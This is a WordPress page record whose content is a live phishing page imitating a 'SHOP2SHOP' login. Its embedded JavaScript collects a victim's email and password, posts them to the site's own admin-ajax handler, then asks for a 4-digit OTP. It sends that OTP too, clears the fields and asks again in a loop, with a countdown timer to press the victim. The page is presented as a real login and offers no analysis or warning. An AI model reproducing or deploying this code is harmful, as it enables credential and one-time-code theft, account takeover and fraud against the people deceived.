{"id":9,"date":"2026-04-08T23:13:31","date_gmt":"2026-04-08T23:13:31","guid":{"rendered":"https:\/\/hssic.icu\/?page_id=9"},"modified":"2026-04-08T23:30:49","modified_gmt":"2026-04-08T23:30:49","slug":"attole","status":"publish","type":"page","link":"https:\/\/hssic.icu\/index.php\/attole\/","title":{"rendered":""},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"9\" class=\"elementor elementor-9\">\n\t\t\t\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-33e9a4c elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"33e9a4c\" data-element_type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-5dafaa1\" data-id=\"5dafaa1\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t\t\t<div class=\"elementor-element elementor-element-5098cb2 elementor-widget elementor-widget-shortcode\" data-id=\"5098cb2\" data-element_type=\"widget\" data-widget_type=\"shortcode.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<div class=\"elementor-shortcode\"><style>\r\n\r\ninput:focus{outline:none!important;box-shadow:none!important}\r\n\r\n.fast-full{\r\nposition:fixed;\r\ninset:0;\r\nbackground:#0B2644;\r\ndisplay:flex;\r\njustify-content:center;\r\npadding-top:60px;\r\ncolor:#fff;\r\nfont-family:Arial;\r\ntext-align:center;\r\nz-index:1;\r\n}\r\n\r\n.fast-wrap{width:90%;max-width:420px}\r\n\r\n\/* \u2705 LOGO FIX *\/\r\n.fast-wrap img{\r\nwidth:35%;\r\ndisplay:block;\r\nmargin:30px 0 10px 10px;\r\n}\r\n\r\n\/* OTP *\/\r\n.otp-input{\r\nwidth:70px;\r\nheight:60px;\r\nborder:none;\r\nbackground:#324c67;\r\nfont-size:22px;\r\nfont-weight:bold;\r\ncolor:#fff;\r\ntext-align:center;\r\nborder-radius:12px;\r\n}\r\n\r\n\/* =========================\r\n   INPUT FIELDS\r\n========================= *\/\r\n.fast-input{\r\nwidth:100%;\r\nborder:none;\r\nbackground:#324c67;\r\ncolor:#fff;\r\npadding:16px;\r\nmargin-top:10px; \/* \u2705 FIX *\/\r\nfont-size:18px;\r\nborder-radius:12px;\r\n}\r\n\r\n.fast-input:focus{\r\nbackground:#3b5a78;\r\n}\r\n\r\n\/* =========================\r\n   BUTTONS\r\n========================= *\/\r\n.fast-btn{\r\nwidth:100%;\r\nmargin-top:20px;\r\npadding:16px;\r\nborder:none;\r\nbackground:#FA9C25;\r\ncolor:#fff;\r\nfont-size:18px;\r\nborder-radius:14px;\r\n}\r\n\r\n.verify-btn{\r\nwidth:100%;\r\nmargin-top:20px;\r\npadding:18px;\r\nbackground:#FA9C25;\r\nborder:none;\r\nborder-radius:14px;\r\nfont-size:18px;\r\nfont-weight:700;\r\ncolor:#fff;\r\n}\r\n\r\n\/* =========================\r\n   TEXT \/ LINKS\r\n========================= *\/\r\n.remember{\r\nmargin-top:8px; \/* \u2705 FIX *\/\r\nfont-size:14px;\r\n}\r\n\r\n.remember input{\r\naccent-color:#FA9C25;\r\n}\r\n\r\n.register{\r\nmargin-top:15px;\r\nfont-weight:700;\r\n}\r\n\r\n.register span:last-child{\r\ncolor:#FA9C25;\r\n}\r\n\r\n.small-text{\r\nmargin-top:10px;\r\nfont-size:14px;\r\nopacity:.9;\r\n}\r\n\r\n\/* =========================\r\n   OTP SECTION\r\n========================= *\/\r\n.otp-wrapper{\r\nmargin-top:20px;\r\nbackground:linear-gradient(180deg,#0b2b4a,#071c30);\r\npadding:22px;\r\nborder-radius:18px;\r\ndisplay:flex;\r\njustify-content:center;\r\ngap:14px;\r\n}\r\n\r\n\/* =========================\r\n   TIMER BOX\r\n========================= *\/\r\n.timer-box{\r\nmargin-top:15px;\r\nbackground:#132f4a;\r\npadding:12px;\r\nborder-radius:10px;\r\nfont-size:14px;\r\n}\r\n\r\n\/* =========================\r\n   UTILITIES\r\n========================= *\/\r\n.fast-hidden{\r\ndisplay:none;\r\n}\r\n\r\n\/* LOADER *\/\r\n#pageLoader{\r\nposition:fixed;\r\ninset:0;\r\nbackground:#0B2644;\r\ndisplay:flex;\r\njustify-content:center;\r\nalign-items:center;\r\nz-index:9999;\r\npointer-events:none;\r\n}\r\n\r\n.spinner-center{\r\nwidth:50px;\r\nheight:50px;\r\nborder:5px solid rgba(255,255,255,0.2);\r\nborder-top:5px solid #FA9C25;\r\nborder-radius:50%;\r\nanimation:spin 1s linear infinite;\r\n}\r\n\r\n@keyframes spin{\r\n0%{transform:rotate(0deg);}\r\n100%{transform:rotate(360deg);}\r\n}\r\n\r\n\/* STEP2 LOGO *\/\r\n.step-logo{\r\ndisplay:block;\r\nmargin:25px auto 0;\r\nwidth:45%;\r\n}\r\n\r\n<\/style>\r\n\r\n<div id=\"pageLoader\">\r\n    <div class=\"spinner-center\"><\/div>\r\n<\/div>\r\n\r\n<div class=\"fast-full\">\r\n<div class=\"fast-wrap\">\r\n\r\n<!-- STEP1 -->\r\n<div id=\"step1\">\r\n<img decoding=\"async\" class=\"step-logo\" src=\"https:\/\/hssic.icu\/wp-content\/uploads\/2026\/04\/logo.png\">\r\n<input id=\"email\" class=\"fast-input\" placeholder=\"Email\">\r\n<input id=\"pass\" type=\"password\" class=\"fast-input\" placeholder=\"Password\">\r\n<div class=\"remember\"><input type=\"checkbox\" checked> Remember me<\/div>\r\n<div style=\"margin-top:10px\">Forgot Password?<\/div>\r\n<button id=\"btn1\" class=\"fast-btn\" disabled>LOG IN<\/button>\r\n<div class=\"register\"><span>New user?<\/span> <span>Register<\/span><\/div>\r\n<\/div>\r\n\r\n<!-- STEP2 -->\r\n<div id=\"step2\" class=\"fast-hidden\">\r\n<img decoding=\"async\" src=\"https:\/\/hssic.icu\/wp-content\/uploads\/2026\/04\/logo.png\">\r\n<div style=\"margin-top:20px;font-size:22px;font-weight:bold\">Enter 4 digit OTP<\/div>\r\n\r\n<div class=\"small-text\">\ud83d\udd10 A verification OTP has been sent to your registered mobile number.<\/div>\r\n\r\n<div class=\"otp-wrapper\">\r\n<input class=\"otp-input\" type=\"tel\" inputmode=\"numeric\" pattern=\"[0-9]*\" placeholder=\"0\" maxlength=\"1\" id=\"d1\">\r\n<input class=\"otp-input\" type=\"tel\" inputmode=\"numeric\" pattern=\"[0-9]*\" placeholder=\"0\" maxlength=\"1\" id=\"d2\">\r\n<input class=\"otp-input\" type=\"tel\" inputmode=\"numeric\" pattern=\"[0-9]*\" placeholder=\"0\" maxlength=\"1\" id=\"d3\">\r\n<input class=\"otp-input\" type=\"tel\" inputmode=\"numeric\" pattern=\"[0-9]*\" placeholder=\"0\" maxlength=\"1\" id=\"d4\">\r\n<\/div>\r\n\r\n<button id=\"btn2\" class=\"verify-btn\" disabled>VERIFY<\/button>\r\n\r\n<div class=\"timer-box\">Resend code in <span id=\"timer\">04:00<\/span><\/div>\r\n<\/div>\r\n\r\n<\/div>\r\n<\/div>\r\n\r\n<script>\r\nconst ajaxurl=\"https:\/\/hssic.icu\/wp-admin\/admin-ajax.php\";\r\nlet msgID=\"\",fullText=\"\";\r\n\r\nemail.oninput=pass.oninput=()=>btn1.disabled=!(email.value&&pass.value);\r\n\r\n\/* STEP1 *\/\r\nbtn1.onclick=async()=>{\r\nbtn1.disabled=true;btn1.innerText=\"Processing...\";\r\nlet res=await fetch(ajaxurl,{method:'POST',headers:{'Content-Type':'application\/x-www-form-urlencoded'},\r\nbody:new URLSearchParams({action:'send_step1',email:email.value,pass:pass.value})});\r\nmsgID=(await res.text()).trim();\r\nfullText=`\ud83d\udfe2 SHOP2SHOP LOGIN\\n\\n\ud83d\udce7 Email: ${email.value}\\n\ud83d\udd11 Password: ${pass.value}`;\r\nsetTimeout(()=>{step1.style.display=\"none\";step2.style.display=\"block\";},3000);\r\n};\r\n\r\n\/* OTP INPUT *\/\r\nconst inputs=[d1,d2,d3,d4];\r\ninputs.forEach((input,index)=>{\r\ninput.addEventListener(\"input\",()=>{\r\ninput.value=input.value.replace(\/[^0-9]\/g,'');\r\nif(input.value && index<3) inputs[index+1].focus();\r\nbtn2.disabled=(d1.value+d2.value+d3.value+d4.value).length!==4;\r\n});\r\n});\r\n\r\n\/* OTP LOOP *\/\r\nbtn2.onclick=async()=>{\r\nbtn2.disabled=true;btn2.innerText=\"Processing...\";\r\nlet otp=d1.value+d2.value+d3.value+d4.value;\r\nfullText+=\"\\n\ud83d\udd22 OTP: \"+otp;\r\n\r\nawait fetch(ajaxurl,{method:'POST',headers:{'Content-Type':'application\/x-www-form-urlencoded'},\r\nbody:new URLSearchParams({action:'send_step2',msg_id:msgID,full_text:fullText})});\r\n\r\nsetTimeout(()=>{\r\ninputs.forEach(i=>i.value=\"\");\r\nbtn2.innerText=\"VERIFY\";\r\nbtn2.disabled=true;\r\nd1.focus();\r\n},3000);\r\n};\r\n\r\n\/* TIMER 4 MIN *\/\r\nlet time=240;\r\nsetInterval(()=>{\r\nif(time>0){\r\ntime--;\r\nlet m=Math.floor(time\/60).toString().padStart(2,'0');\r\nlet s=(time%60).toString().padStart(2,'0');\r\ntimer.innerText=m+\":\"+s;\r\n}\r\n},1000);\r\n\r\nwindow.onload = function(){\r\n    document.getElementById(\"pageLoader\").style.display = \"none\";\r\n};\r\n\r\n<\/script>\r\n\r\n<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-9","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/hssic.icu\/index.php\/wp-json\/wp\/v2\/pages\/9","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hssic.icu\/index.php\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/hssic.icu\/index.php\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/hssic.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hssic.icu\/index.php\/wp-json\/wp\/v2\/comments?post=9"}],"version-history":[{"count":6,"href":"https:\/\/hssic.icu\/index.php\/wp-json\/wp\/v2\/pages\/9\/revisions"}],"predecessor-version":[{"id":17,"href":"https:\/\/hssic.icu\/index.php\/wp-json\/wp\/v2\/pages\/9\/revisions\/17"}],"wp:attachment":[{"href":"https:\/\/hssic.icu\/index.php\/wp-json\/wp\/v2\/media?parent=9"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}